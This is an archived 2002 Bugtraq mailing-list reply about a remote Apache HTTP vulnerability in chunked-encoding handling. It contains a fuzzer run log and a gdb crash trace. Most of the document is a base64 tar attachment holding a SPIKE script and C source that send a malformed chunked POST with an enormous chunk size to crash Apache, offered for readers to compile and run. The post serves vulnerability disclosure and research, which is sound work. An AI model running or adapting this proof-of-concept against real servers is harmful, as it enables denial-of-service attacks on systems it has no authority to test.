[25873] in bugtraq

home help back first fref pref prev next nref lref last post

Re: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP

daemon@ATHENA.MIT.EDU (Dave Aitel)
Wed Jun 19 17:25:35 2002

From: Dave Aitel <dave@immunitysec.com>
To: bugtraq@securityfocus.com
In-Reply-To: <013001c21627$82b48740$dc9766c2@caatoosee.ro>
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-yIicREUTyGbIzm1zbRuP"
Date: 18 Jun 2002 15:55:23 -0400
Message-Id: <1024430129.17741.7.camel@localhost.localdomain>
Mime-Version: 1.0

--=-yIicREUTyGbIzm1zbRuP
Content-Type: multipart/mixed; boundary="=-d7Vz59AFX5iF8U+6UTNl"


--=-d7Vz59AFX5iF8U+6UTNl
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I don't sell a scanner product.

This is a spike script, and the associated generic spike .c and a
makefile. Get SPIKE 2.4 to compile and run this.

$ make; ./generic_chunked localhost 80 apachechunked.spk 0 0=20
make: Nothing to be done for `all'.
Target is localhost
Fuzzing Variable 0:0
parsing apachechunked.spk

[Tue Jun 18 15:53:09 2002] [notice] child pid 17647 exit signal
Segmentation fault (11)
Server: Apache-AdvancedExtranetServer/1.3.23 (Mandrake Linux/4mdk)
auth_ldap/1.6.0 mod_ssl/2.8.7 OpenSSL/0.9.6c PHP/4.1.2


(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 17224)]
0x401b2d79 in memcpy () from /lib/libc.so.6
(gdb) where
#0  0x401b2d79 in memcpy () from /lib/libc.so.6
#1  0x080950a0 in ?? ()
#2  0x0806366f in ap_get_client_block ()
#3  0x08065b5f in ap_discard_request_body ()
#4  0xd8000000 in ?? ()
Cannot access memory at address 0x80975
(gdb) x/2i $pc
0x401b2d79 <memcpy+41>:	mov    0x1c(%edi),%edx
0x401b2d7c <memcpy+44>:	sub    $0x20,%ecx
(gdb) print/x $edi
$1 =3D 0xbfffffec
(gdb) q


_____________________________
Dave Aitel
Immunity, Inc.
http://www.immunitysec.com=20



--=-d7Vz59AFX5iF8U+6UTNl
Content-Type: application/x-tar
Content-Disposition: attachment; filename=apachefun.tar
Content-Transfer-Encoding: base64

YXBhY2hlY2h1bmtlZC5zcGsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAxMDA2NjQAMDAwMDc2
NQAwMDAwNzY1ADAwMDAwMDAwMTIyADA3NTAzNzA1MDc2ADAxMzAyMQAgMAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAGRhdmUAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAZGF2ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv
L2FwYWNoZWNodW5rZWQuc3BrCgpzX3N0cmluZ19yZXBlYXQoIkEiLDB4MTAwMDAwKTsKLy9zX3N0
cmluZygiNFxyXG5BQUFBXHJcbiIpOwoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGdl
bmVyaWNfY2h1bmtlZC5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwMTAwNjQ0ADAwMDA3NjUA
MDAwMDc2NQAwMDAwMDAxNjU3MgAwNzUwMzcwNjY1NgAwMTMwMjMAIDAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdXN0YXIgIABkYXZlAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAGRhdmUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALyog
U3RhcnQgd2ViZnV6enByZWx1ZGUuYyAqLwovKgogIFNlcnZlcjogQXBhY2hlLUFkdmFuY2VkRXh0
cmFuZXRTZXJ2ZXIvMS4zLjIzIChNYW5kcmFrZSBMaW51eC80bWRrKSBhdXRoX2xkYXAvMS42LjAg
bW9kX3NzbC8yLjguNyBPcGVuU1NMLzAuOS42YyBQSFAvNC4xLjIKCiAgW1R1ZSBKdW4gMTggMTU6
NDI6NDkgMjAwMl0gW25vdGljZV0gY2hpbGQgcGlkIDE3MjI0IGV4aXQgc2lnbmFsIFNlZ21lbnRh
dGlvbiBmYXVsdCAoMTEpCiAgCiovCgoKCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3Rk
bGliLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4gLypmb3IgbWVtc2V0Ki8KI2luY2x1ZGUgPHN5cy90
eXBlcy5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgojaW5j
bHVkZSAic3Bpa2UuaCIKI2luY2x1ZGUgImhkZWJ1Zy5oIgojaW5jbHVkZSAidGNwc3R1ZmYuaCIK
CiNpbmNsdWRlICJkbHJwYy5oIgoKLypjaGFuZ2UgdGhlc2UgdG8gc2tpcCBvdmVyIHZhcmlhYmxl
cyovCmludCBTS0lQRlVaWlNUUj0wOwppbnQgU0tJUFZBUklBQkxFUz0wOwoKdm9pZApzZXR1cF9w
b3N0KCkKewoKc19zdHJpbmcoIlBPU1QgLyIpOwpzX3N0cmluZygiIEhUVFAvMS4xXHJcbiIpOwpz
X3N0cmluZygiSG9zdDogIik7CnNfc3RyaW5nKCJEQVZFQUlURUwiKTsKc19zdHJpbmcoIlxyXG4i
KTsKc19zdHJpbmcoIlVzZXItQWdlbnQ6ICIpOwpzX3N0cmluZygiTW96aWxsYS81LjAiKTsKc19z
dHJpbmcoIkdhbGVvbi8xLjAuMyAoWDExOyBMaW51eCBpNjg2OyBVOykgR2Vja28vMFxyXG4iKTsK
c19zdHJpbmcoIkFjY2VwdDogdGV4dC94bWwsYXBwbGljYXRpb24veG1sLGFwcGxpY2F0aW9uL3ho
dG1sK3htbCx0ZXh0L2h0bWw7cT0wLjksdGV4dC9wbGFpbjtxPTAuOCx2aWRlby94LW1uZyxpbWFn
ZS9wbmcsaW1hZ2UvanBlZyxpbWFnZS9naWY7cT0wLjIsdGV4dC9jc3MsKi8qO3E9MC4xXHJcbiIp
OwpzX3N0cmluZygiQWNjZXB0LUxhbmd1YWdlOiBlblxyXG4iKTsKc19zdHJpbmcoIkFjY2VwdC1F
bmNvZGluZzogZ3ppcCwgZGVmbGF0ZSwgY29tcHJlc3M7cT0wLjlcclxuIik7CnNfc3RyaW5nKCJB
Y2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSwgdXRmLTg7cT0wLjY2LCAqO3E9MC42NlxyXG4iKTsK
c19zdHJpbmcoIktlZXAtQWxpdmU6IDMwMFxyXG4iKTsKc19zdHJpbmcoIkNvbm5lY3Rpb246IGtl
ZXAtYWxpdmVcclxuIik7CnNfc3RyaW5nKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3
LWZvcm0tdXJsZW5jb2RlZFxyXG4iKTsKc19zdHJpbmcoIlRyYW5zZmVyLUVuY29kaW5nOiBjaHVu
a2VkXHJcbiIpOwovL3Nfc3RyaW5nKCJDb250ZW50LUxlbmd0aDogMFxyXG4iKTsKc19zdHJpbmco
IlxyXG4iKTsKc19zdHJpbmcoIjRcclxuIik7CnNfc3RyaW5nKCJBQUFBXHJcbiIpOwpzX3N0cmlu
ZygiODAwMDAwMDBcclxuIik7Ci8vc19zdHJpbmcoIjBcclxuIik7Ci8vc19zdHJpbmcoIlxyXG4i
KTsKfQoKCnZvaWQKdXNhZ2UoKQp7CiAgZnByaW50ZihzdGRlcnIsIlVzYWdlOiAuL2dlbmVyaWNf
d2ViX3NlcnZlcl9mdXp6IHRhcmdldCBwb3J0IGZpbGUuc3BrIHNraXB2YXJpYWJsZXMgc2tpcGZ1
enpzdHJpbmdcclxuIik7CiAgZnByaW50ZihzdGRlcnIsIkV4YW1wbGU6IC4vZ3dzZiBleGNoYW5n
ZTEgODAgb3dhMS5zcGsgMCAwXG4iKTsgCiAgZnByaW50ZihzdGRlcnIsImh0dHA6Ly93d3cuaW1t
dW5pdHlzZWMuY29tL3NwaWtlLmh0bWxcbiIpOwoKICBleGl0KC0xKTsKfQoKaW50Cm1haW4gKGlu
dCBhcmdjLCBjaGFyICoqIGFyZ3YpCnsKICBpbnQgZmlyc3Q7CiAgY2hhciAqIHRhcmdldDsKICBj
aGFyIGJ1ZmZlclsxNTAwMDBdOwogIGNoYXIgcmVxdWVzdGJ1ZmZlclsxNTAwMDBdOwogIGludCBw
b3J0OwogIGNoYXIgKiBzcGtmaWxlOwogIHN0cnVjdCBzcGlrZSAqIG91cl9zcGlrZTsKICB1bnNp
Z25lZCBsb25nIHJldHZhbDsKICBpbnQgbm90ZmluOwogIGludCBmaXJzdGZ1eno7CiAgaW50IGZ1
enp2YXJudW0sZnV6enN0cm51bTsgLypmb3IgZnV6eiB2YXJpYWJsZSBjb3VudCovCiAgdW5zaWdu
ZWQgbG9uZyBzZW50bnVtOwoKICBpZiAoYXJnYyE9NikKICAgIHsKICAgICAgdXNhZ2UoKTsKICAg
IH0KCiAgdGFyZ2V0PWFyZ3ZbMV07CiAgcHJpbnRmKCJUYXJnZXQgaXMgJXNcclxuIixhcmd2WzFd
KTsKCiAgcG9ydD1hdG9pKGFyZ3ZbMl0pOwoKICBzcGtmaWxlID0gYXJndlszXTsKICAKICBTS0lQ
VkFSSUFCTEVTPWF0b2koYXJndls0XSk7CiAgU0tJUEZVWlpTVFI9YXRvaShhcmd2WzVdKTsKCiAg
b3VyX3NwaWtlPW5ld19zcGlrZSgpOwogIHNfaW5pdF9mdXp6aW5nKCk7CgogIC8qc2hlZXNoLiov
CiAgc2lnbmFsKFNJR1BJUEUsU0lHX0lHTik7CgogIGlmIChvdXJfc3Bpa2U9PU5VTEwpCiAgICB7
CiAgICAgIGZwcmludGYoc3RkZXJyLCJNYWxsb2MgZmFpbGVkIHRyeWluZyB0byBhbGxvY2F0ZSBh
IHNwaWtlLlxyXG4iKTsKICAgICAgZXhpdCgtMSk7IAogICAgfQoKICBzZXRzcGlrZShvdXJfc3Bp
a2UpOwogIHNldHVwX3Bvc3QoKTsKICBpZiAoc3Bpa2Vfc2VuZF90Y3AodGFyZ2V0LHBvcnQpPT0w
KQogICAgewogICAgICBwcmludGYoIkNvdWxkbid0IGNvbm5lY3QgdG8gaG9zdCBvciBzZW5kIGRh
dGEhXHJcbiIpOwogICAgICAvKmV4aXQoLTEpOyovCiAgICB9CiAgCiAgLypkdXJpbmcgc192YXJp
YWJsZSBwdXNoLCBpZiBmdXp6c3RyaW5nIGlzID09IGN1cnJlbnRmdXp6c3RyaW5nCiAgICB0aGVu
IHNldCBkaWRsYXN0ZnV6enN0cmluZy4gSWYgZnV6enZhcmlhYmxlIGlzID09IGN1cnJlbnQKICAg
IHZhcmlhYmxlLCBzZXQgZGlkbGFzdGZ1enp2YXJpYWJsZSovCgogIAogIC8qemVyb3RoIGZ1enog
dmFyaWFibGUgaXMgZmlyc3QgdmFyaWFibGUqLwogIHNfcmVzZXRmdXp6dmFyaWFibGUoKTsKICBm
dXp6dmFybnVtPTA7CiAgZnV6enN0cm51bT0wOwogIGZpcnN0ZnV6ej0xOwoKICB3aGlsZSAoIXNf
ZGlkbGFzdHZhcmlhYmxlKCkpCiAgICB7CiAgICAgIHNfcmVzZXRmdXp6c3RyaW5nKCk7CiAgICAg
IC8qemVyb3RoIGZ1enogc3RyaW5nIGlzIG5vIGNoYW5nZSovCgoKICAgICAgaWYgKGZpcnN0ZnV6
eikKICAgICAgewogICAgICAvKnplcm90aCBmdXp6IHN0cmluZyBpcyBubyBjaGFuZ2UqLwogICAg
ICAvKnNlZSBiZWxvdyBmb3Igd2h5IHdlIGhhdmUgdGhpcyBpZiBzdGF0ZW1lbnQgYW5kIGxvb3Aq
LwogICAgICBpZiAoZnV6enZhcm51bTxTS0lQVkFSSUFCTEVTICkKICAgICAgICB7CiAgICAgICAg
ICBmb3IgKGZ1enp2YXJudW09MDsgZnV6enZhcm51bTxTS0lQVkFSSUFCTEVTOyBmdXp6dmFybnVt
KyspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICBzX2luY3JlbWVudGZ1enp2YXJpYWJsZSgp
OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgLypoZXJlIGlzIGFub3RoZXIgcGFydCBv
ZiB3aGVyZSB3ZSBpbXBsZW1lbnQgdGhlIGFiaWxpdHkgdG8ganVtcCB0byBhIHBhcnRpY3VsYXIK
ICAgICAgICBwbGFjZSBpbiB0aGUgZnV6emluZyovCiAgICAgIGlmIChmdXp6c3RybnVtPFNLSVBG
VVpaU1RSKQogICAgICAgIHsKICAgICAgICAgIGZvciAoZnV6enN0cm51bT0wOyBmdXp6c3RybnVt
PFNLSVBGVVpaU1RSOyBmdXp6c3RybnVtKyspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICBz
X2luY3JlbWVudGZ1enpzdHJpbmcoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgZmly
c3RmdXp6PTA7CiAgICAgIH0KICAgICAgZWxzZQogICAgICB7CiAgICAgICAgICAgICAgLyp3ZSBy
ZXNldCB0aGlzIGhlcmUgc28gZXZlcnkgbmV3IHZhcmlhYmxlIGdldHMgYSBuZXcgY291bnQqLwog
ICAgICAgICAgICAgIGZ1enpzdHJudW09MDsKICAgICAgfQoKCiAgICAgIAogICAgICB3aGlsZSgh
c19kaWRsYXN0ZnV6enN0cmluZygpKQoJewoJICBwcmludGYoIkZ1enppbmcgVmFyaWFibGUgJWQ6
JWRcbiIsZnV6enZhcm51bSxmdXp6c3RybnVtKTsKCSAgLy9wcmludGYoImNsZWFyaW5nXG4iKTsJ
ICAKCSAgc3Bpa2VfY2xlYXIoKTsKCiNkZWZpbmUgTUFYU0VORCAweDgwMDAwMDAwCiNkZWZpbmUg
U0VORE5VTSAweDQKCSAgc2VudG51bT0wOwoJICBwcmludGYoInBhcnNpbmcgJXNcbiIsc3BrZmls
ZSk7CgkgIHNfcGFyc2Uoc3BrZmlsZSk7CgkgIHdoaWxlICgodW5zaWduZWQgaW50KXNlbnRudW08
KHVuc2lnbmVkIGludClNQVhTRU5EKQoJICAgIHsKCSAgICAgIHByaW50Zigic2VuZGluZ1xuIik7
CgkgICAgICBpZiAoc3Bpa2Vfc2VuZCgpPDApCgkJewoJCSAgcHJpbnRmKCJDb3VsZG4ndCBjb25u
ZWN0IHRvIGhvc3Qgb3Igc2VuZCBkYXRhIVxyXG4iKTsKCSAgICAgIC8qZXhpdCgtMSk7Ki8KCQl9
CgkgICAgICBzZW50bnVtKz1TRU5ETlVNOwoJICAgICAgcHJpbnRmKCJTZW50ICV4XG4iLHNlbnRu
dW0pOwoJICAgIH0KCgkgIC8qc2VlLCB0aGUgdGhpbmcgaXMgdGhhdCB0aGUgc3Bpa2UgaXMgbm90
IGd1YXJhbnRlZWQgdG8gYmUKICAgICAgICAgICAgbnVsbCB0ZXJtaW5hdGVkLCBzbyBqdXN0IGEg
cGxhaW4gcHJpbnRmIG9uIHRoZQogICAgICAgICAgICBzX2dldF9kYXRhYnVmKCkgaXMgaWxsLWFk
dmlzZWQuKi8KCSAgbWVtc2V0KHJlcXVlc3RidWZmZXIsMHgwMCxzaXplb2YocmVxdWVzdGJ1ZmZl
cikpOwoJICBpZiAoc19nZXRfc2l6ZSgpPjI1MDApCgkgICAgbWVtY3B5KHJlcXVlc3RidWZmZXIs
c19nZXRfZGF0YWJ1ZigpLDI1MDApOwoJICBlbHNlCiAgICAgICAgICAgewoJICAgIG1lbWNweShy
ZXF1ZXN0YnVmZmVyLHNfZ2V0X2RhdGFidWYoKSxzX2dldF9zaXplKCkpOwogICAgICAgICAgIH0K
ICAKCgkgIC8qaGVyZSB3ZSBwcmludCBvdXQgb3VyIHJlcXVlc3QqLwoJICBwcmludGYoIlJlcXVl
c3Q6XG4lLjI1MDBzXG5FbmRSZXF1ZXN0XG4iLHJlcXVlc3RidWZmZXIpOwoKCSAgZmlyc3Q9MTsK
CSAgbm90ZmluPTE7CgkgIHJldHZhbD0xOwogICAgICAgICAgcHJpbnRmKCJSZXNwb25zZTpcbiIp
OwoJICB3aGlsZShyZXR2YWwgJiYgbm90ZmluKSAKCSAgICB7CiAJICAgICAKCSAgICAgIG1lbXNl
dChidWZmZXIsMHgwMCxzaXplb2YoYnVmZmVyKSk7CgkgICAgICBub3RmaW49c19mZF93YWl0KCk7
CgkgICAgICBub3RmaW49c19mZF93YWl0KCk7CgkgICAgICBub3RmaW49c19mZF93YWl0KCk7Cgkg
ICAgICBpZiAoIW5vdGZpbikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICBwcmlu
dGYoIlNlcnZlciBkaWRuJ3QgYW5zd2VyIGluIHRpbWUgbGltaXRcbiIpOwoJCWJyZWFrOwogICAg
ICAgICAgICAgICAgfQoJICAgICAgcmV0dmFsPXJlYWQob3VyX3NwaWtlLT5mZCxidWZmZXIsMjUw
MCk7CglpZiAoZmlyc3QgJiYgKHJldHZhbD09LTEgfHwgcmV0dmFsPT0wKSApCiAgICAgICAgICAg
ICAgICB7CiAgICAgICAgICAgICAgICAgICBwcmludGYoIioqKlNlcnZlciBjbG9zZWQgY29ubmVj
dGlvbiFcbiIpOwoJCSAgIGZwcmludGYoc3RkZXJyLCJSZXF1ZXN0OiAlc1xuIixyZXF1ZXN0YnVm
ZmVyKTsKICAgICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCIqKipTZXJ2ZXIgY2xvc2Vk
IGNvbm5lY3Rpb24hXG4iKTsKCQkgICBicmVhazsKICAgICAgICAgICAgICAgIH0KCQlmaXJzdD0w
OwoJICAgICAgaWYgKHJldHZhbCkKCQl7CgkJICAgIGlmIChzdHJzdHIoYnVmZmVyLCAiNTAwIG9r
IikgCgkJCXx8IHN0cnN0cihidWZmZXIsIkludGVybmFsIFNlcnZlciBFcnJvciIpCgkJCSkgCiAg
ICAgICAgICAgICAgICAgICAgewoJCQlmcHJpbnRmKHN0ZGVyciwiUmVxdWVzdDogJXNcbiIscmVx
dWVzdGJ1ZmZlcik7CgkJCWZwcmludGYoc3RkZXJyLCJSZXNwb25zZTogJXNcbiIsYnVmZmVyKTsK
ICAgICAgICAgICAgICAgICAgICB9CgoKCQkgICAgcHJpbnRmKCIqKiUuNTAwcyoqXG4iLGJ1ZmZl
cik7CgkJICAvKnRoaXMgaXMgd2hlcmUgeW91IGZpbHRlciByZXNwb25zZXMgb3V0IHRoYXQgeW91
IGRvbid0IHdhbnQgdG8gYm90aGVyIHNlZWluZy4qLwojaWYgMAoJCSAgLypkb24ndCBwcmludCBv
dXQgNDA0IGVycm9ycyovCgkJICBpZiAoIXN0cnN0cihidWZmZXIsIjQwNCIpICYmICFzdHJzdHIo
YnVmZmVyLCI0MDAgQmFkIFJlcXVlc3QiKSAmJiAhc3Ryc3RyKGJ1ZmZlciwiY2hlY2sgdGhhdCBp
dCBpcyBlbnRlcmVkIGNvcnJlY3RseSIpKQogCQlicmVhazsKI2VuZGlmCgkJICAvKmhlcmUgd2Ug
c3BlZWQgdGhpbmdzIHVwIGJ5IG5vIGNvbnRpbnVpbmcgdG8gcmVhZCBwYXN0IHRoaXMgZHVtYiBl
cnJvciBtZXNzYWdlKi8KCQkgIC8qZG8gdGhpcyBzYW1lIHRoaW5nIGZvciBhbnkgcmVxdWVzdCB0
aGF0IGNvbnRpbnVlcyB0byBzbG93IHlvdSBkb3duIGFuZCBpcyBub24taW50ZXJlc3RpbmcqLwog
ICAgICAgICAgICAgICAgICBpZiAoc3Ryc3RyKGJ1ZmZlciwiPFRJVExFPjQwNCIpKQogICAgICAg
ICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICBpZiAoc3Ryc3RyKGJ1ZmZlciwi
PFRJVExFPjQwMSIpKQoJCSAgICBicmVhazsKCQkgIGlmIChzdHJzdHIoYnVmZmVyLCI0MDEgQWNj
ZXNzIGRlbmllZCIpKQoJCSAgICBicmVhazsKCQkgIGlmIChzdHJzdHIoYnVmZmVyLCJQdWJsaWM6
IE9QVElPTlMiKSkKCQkgICAgYnJlYWs7CgkJICBpZiAoc3Ryc3RyKGJ1ZmZlciwiUGxlYXNlIGRv
IG5vdCBhbHRlciB0aGlzIGZpbGUiKSkKCQkgICAgYnJlYWs7CgkJICBpZiAoc3Ryc3RyKGJ1ZmZl
ciwiR0lGODlhIikpCgkJICAgIGJyZWFrOwoJCSAgaWYgKHN0cnN0cihidWZmZXIsIlRoaXMgb2Jq
ZWN0IG1heSBiZSBmb3VuZCA8YSBIUkVGPVwibG9jYWxzdGFydC5hc3BcIiIpKQoJYnJlYWs7CgoJ
CWlmIChzdHJzdHIoYnVmZmVyLCJob21lIHBhZ2UsIGFuZCB0aGVuIGxvb2sgZm9yIGxpbmtzIHRv
IHRoZSBpbmZvcm1hdGlvbiB5b3Ugd2FudCIpKQoJCWJyZWFrOwoJCSBpZihzdHJzdHIoYnVmZmVy
LCJMb2NhdGlvbjogbG9jYWxzdGFydC5hc3AiKSkKCQlicmVhazsKIAkJIGlmIChzdHJzdHIoYnVm
ZmVyLCJUaGlzIGlzIHRoZSBkZWZhdWx0IHBhZ2UgdGhhdCBhcHBlYXJzIG9uIG5ldyBBT0xzZXJ2
ZXIgaW5zdGFsbGF0aW9ucyIpKQoJCWJyZWFrOwoJCWlmIChzdHJzdHIoYnVmZmVyLCJUaGlzIHBh
Z2UgaW50ZW50aW9uYWxseSBsZWZ0IGJsYW5rLiIpKQoJCWJyZWFrOwogICAgICAgICAgICAgICB9
CgkgICAgfS8qZW5kIHdoaWxlIHJlYWQgbG9vcCovCiAgICAgICAgICAgICAgIHByaW50ZigiRW5k
IHJlc3BvbnNlXG4iKTsKICAgICAgICAgIGZ1enpzdHJudW0rKzsKCSAgc19pbmNyZW1lbnRmdXp6
c3RyaW5nKCk7CgkgIC8vCSAgc3Bpa2VfY2xvc2VfdGNwKCk7CgkgIC8qVXNlIHRoaXMgZm9yIHRl
c3RpbmcgYWdhaW5zdCBuZXRjYXQqLwoJICAvKgoJICAgIHNsZWVwKDEpOwoJICAqLwoJfS8qZW5k
IGZvciBlYWNoIGZ1enogc3RyaW5nKi8KICAgICAgZnV6enZhcm51bSsrOwogICAgICBzX2luY3Jl
bWVudGZ1enp2YXJpYWJsZSgpOwogICAgfS8qZW5kIGZvciBlYWNoIHZhcmlhYmxlKi8KICBwcmlu
dGYoIkRvbmUuXG4iKTsKICByZXR1cm4gMDsKfSAvKmVuZCBwcm9ncmFtKi8KCi8qIEVuZCB3ZWJm
dXp6cG9zdGx1ZGUuYyAqLyAKCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATWFrZWZpbGUAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAxMDA2NDQAMDAwMDc2NQAwMDAwNzY1ADAwMDAwMDA3
MTAyADA3NTAzNjY1NTMxADAxMTE2MwAgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAB1c3RhciAgAGRhdmUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGF2ZQAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuU1VGRklYRVM6IC5hIC5vIC5j
CkNDCQk9ICBnY2MKQ0ZMQUdTCQk9ICAtV2FsbCAtZnVuc2lnbmVkLWNoYXIgLWMgLWZQSUMgLWdn
ZGIKCiN3ZWJmdXp6IGdvZXMgbGFzdCBzbyB3ZSBkb24ndCBjcmFzaCBvbiBpdCBlYXJseS4uLgoK
QklOUyA9IHNzX3NwaWtlIHBtc3Bpa2Ugc3RhdGRfc3Bpa2UgeDExX3NwaWtlIHBvc3RfZnV6eiBw
b3N0X3NwaWtlIG1zcnBjZnV6eiBkb19wb3N0IHdlYm1pdG0gY2l0cml4IG50bG0yIG50bG1fYnJ1
dGUgY2xvc2VkX3NvdXJjZV93ZWJfc2VydmVyX2Z1enogcXVha2VzZXJ2ZXIgcXVha2UgaGFsZmxp
ZmUgb2xkbXNycGNmdXp6IHdlYmZ1enogZGx0ZXN0IGdvcGhlcmQgZ2VuZXJpY19saXN0ZW5fdGNw
IGxpYmRscnBjLnNvIGdlbmVyaWNfd2ViX3NlcnZlcl9mdXp6IGdlbmVyaWNfY2h1bmtlZAoKCkFM
TCA9ICQoQklOUykKCklOQ0xVREUgPSAtSS91c3IvbG9jYWwvaW5jbHVkZSAtSS4uL2luY2x1ZGUg
IC1JbGlibnRsbS0wLjIxLwoKTElCU09DS0VUID0gCgpTUElLRV9PQlMgPSBzcGlrZS5vIGxpc3Rl
bmVyLm8gaGRlYnVnLm8gdGNwc3R1ZmYubyBzcGlrZV9kY2VycGMubyBiYXNlNjQubyB1ZHBzdHVm
Zi5vCgpTU19PQlMgPSAkKFNQSUtFX09CUykgc3Nfc3Bpa2UubwoKUE1fT0JTID0gJChTUElLRV9P
QlMpIHBtc3Bpa2UubwoKU0RfT0JTID0gJChTUElLRV9PQlMpIHN0YXRkX3NwaWtlLm8KClgxMV9P
QlM9ICQoU1BJS0VfT0JTKSB4MTFfc3Bpa2UubwoKUFNfT0JTPSAkKFNQSUtFX09CUykgcG9zdF9z
cGlrZS5vCgoKU1BJS0VfSEVBREVSUyA9IC4uL2luY2x1ZGUvc3Bpa2UuaCAKCkhDX0xJQlMgPSAk
KExJQlNPQ0tFVCkgCgoKLmMubzoKCSR7Q0N9ICR7Q0ZMQUdTfSAke0lOQ0xVREV9ICQ8CgphbGw6
ICQoQUxMKQoKc3Nfc3Bpa2U6ICQoU1NfT0JTKQoJJChDQykgLW8gc3Nfc3Bpa2UgJChTU19PQlMp
CgpwbXNwaWtlOiAkKFBNX09CUykKCSQoQ0MpIC1vIHBtc3Bpa2UgJChQTV9PQlMpCgpzdGF0ZF9z
